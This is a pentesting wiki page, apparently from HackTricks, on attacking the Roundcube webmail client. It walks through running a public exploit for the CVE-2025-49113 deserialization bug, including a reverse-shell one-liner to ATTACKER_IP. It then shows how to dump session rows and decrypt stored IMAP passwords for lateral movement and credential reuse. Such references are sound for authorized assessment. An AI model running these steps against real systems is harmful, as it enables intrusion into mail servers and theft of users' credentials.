---
title: "Roundcube"
section: "Network Services"
sectionSlug: "network-services-pentesting"
sourcePath: "src/network-services-pentesting/pentesting-web/roundcube.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/roundcube.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---
# Roundcube
## Overview
Roundcube is a PHP webmail client commonly exposed on HTTP(S) vhosts (e.g., mail.example.tld). Useful fingerprints:
- HTML source often leaks rcversion (e.g., window.rcmail && rcmail.env.rcversion)
- Default app path in containers/VMs: /var/www/html/roundcube
- Main config: config/config.inc.php
## Authenticated RCE via PHP object deserialization (CVE-2025-49113)
Affected versions (per vendor/NVD):[[1]](#references)[[2]](#references)
- 1.6.x before 1.6.11
- 1.5.x before 1.5.10
Bug summary
- The _from parameter in program/actions/settings/upload.php is not validated, enabling injection of attacker‑controlled data that Roundcube later unserializes, leading to gadget chain execution and remote code execution in the web context (post‑auth).[[3]](#references)
Quick exploitation
- Requirements: valid Roundcube credentials and a reachable UI URL (e.g., http://mail.target.tld)
- Public PoC automates session handling, gadget crafting and upload flow[[4]](#references)
```bash
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD
# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"
# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
```
Notes
- Output is often blind; use sleep N to validate RCE
- The resulting process inherits the account and confinement of the PHP/web worker; determine the actual identity rather than assuming `www-data`. Container indicators such as `/.dockerenv` and private bridge routes may help characterize the environment but are not universal.
## Post‑exploitation: recover IMAP passwords from Roundcube sessions
Roundcube stores the current user's IMAP password as an encrypted value in its session. With both session-backend access and the server-side `des_key`/cipher configuration, an assessor can decrypt active-session credentials. The default cipher is historically `DES-EDE3-CBC`, but `cipher_method` is configurable (for example, AES-256-CBC), so do not assume every installation uses 3DES.[[6]](#references)[[7]](#references)
1) Read the DB DSN, encryption key, and cipher configuration
config/config.inc.php typically contains:
```php
$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
```
2) Connect to DB and dump sessions
```bash
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube
mysql> SELECT id, created, changed, vars FROM session\G
```
The `session.vars` field contains serialized session state. Locate the encrypted password value (commonly the `_password` session key) and pass that ciphertext—not the entire serialized `vars` value—to the matching Roundcube decrypt routine.
3) Locate the password field
A quick first step is to inspect the serialized field for the password key. Exact serialization depends on the Roundcube/PHP session handler:
```bash
printf '%s' 'SESSION_VARS_VALUE' | tr ';' '\n' | grep -i password
```
4) Decrypt using Roundcube’s helper
Roundcube ships a CLI that uses the same rcmail->decrypt() logic and the configured des_key:[[5]](#references)
```bash
cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
```
5) Manual decryption (optional; default 3DES example)
- Ciphertext format: Base64( IV(8B) || CT )
- Alg: 3DES-CBC, key length 24B, PKCS#7 padding
```python
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv
```
Common locations
- DB table: session (users table maps login names to IDs)
- Config path: /var/www/html/roundcube/config/config.inc.php
Operational use
- Older session rows often contain prior users’ IMAP passwords; decrypt multiple entries to laterally move into other mailboxes
- Try recovered credentials against SSH or other services if credential reuse is suspected
## References
- [1] [Roundcube security updates 1.6.11 and 1.5.10](https://roundcube.net/news/2025/06/01/security-updates-1.6.11-and-1.5.10)
- [2] [CVE-2025-49113 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-49113)
- [3] [Roundcube changelog — CVE-2025-49113 fix](https://github.com/roundcube/roundcubemail/blob/master/CHANGELOG.md)
- [4] [hakaioffsec/CVE-2025-49113-exploit (PoC)](https://github.com/hakaioffsec/CVE-2025-49113-exploit)
- [5] [Roundcube bin/decrypt.sh helper](https://raw.githubusercontent.com/roundcube/roundcubemail/master/bin/decrypt.sh)
- [6] [HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)](https://0xdf.gitlab.io/2025/11/15/htb-outbound.html)
- [7] [Roundcube default configuration — `des_key` and `cipher_method`](https://github.com/roundcube/roundcubemail/blob/master/config/defaults.inc.php)